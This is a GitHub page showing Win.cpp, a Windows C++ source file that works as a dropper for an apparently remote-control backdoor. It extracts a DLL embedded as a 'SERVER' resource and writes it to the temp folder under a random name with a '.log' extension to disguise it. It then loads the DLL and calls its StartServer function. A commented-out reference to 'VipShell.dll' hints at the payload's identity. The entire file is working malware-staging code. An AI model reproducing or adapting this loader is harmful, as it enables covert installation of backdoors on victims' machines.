-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathWin.cpp
More file actions
66 lines (63 loc) · 1.88 KB
/
Win.cpp
File metadata and controls
66 lines (63 loc) · 1.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <windows.h>
#include "resource.h"
#include "tchar.h"
#include "..\DllModule.h"
CDllModuleControlInterface* g_hDllModule = NULL;
typedef bool (* PGetDllModule)(CDllModuleControlInterface** pDll); //启动服务
bool MakeDll(LPCTSTR szDllFile)
{
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize, dwWritten;
LPBYTE p;
HANDLE hFile;
hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_SERVER1), _T("SERVER"));
if (hResInfo == NULL)
return false;
// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 装载资源
hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
return false;
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
return false;
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
hFile = CreateFile(szDllFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
WriteFile(hFile, (LPCVOID)p, dwSize, &dwWritten, NULL);
else
{
GlobalFree((HGLOBAL)p);
return false;
}
CloseHandle(hFile);
GlobalFree((HGLOBAL)p);
return true;
return true;
}
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
TCHAR szTempPath[MAX_PATH] = {0};
GetTempPath(MAX_PATH, szTempPath);
if(szTempPath[lstrlen(szTempPath) -1] != _T('\\'))
lstrcat(szTempPath, _T("\\"));
TCHAR szDllpath[MAX_PATH] = {0};
srand(GetTickCount());
wsprintf(szDllpath, _T("%s%d.log"), szTempPath, (DWORD)rand());
MakeDll(szDllpath);
// lstrcpy(szDllpath, _T("VipShell.dll"));
HINSTANCE hDLL = LoadLibrary(szDllpath);
if( !hDLL )
return 0;
PGetDllModule pGetDllModule = (PGetDllModule)GetProcAddress(hDLL, "GetDllModuleControl"); //得到函数地址
pGetDllModule(&g_hDllModule);
g_hDllModule->StartServer();
return 0;
}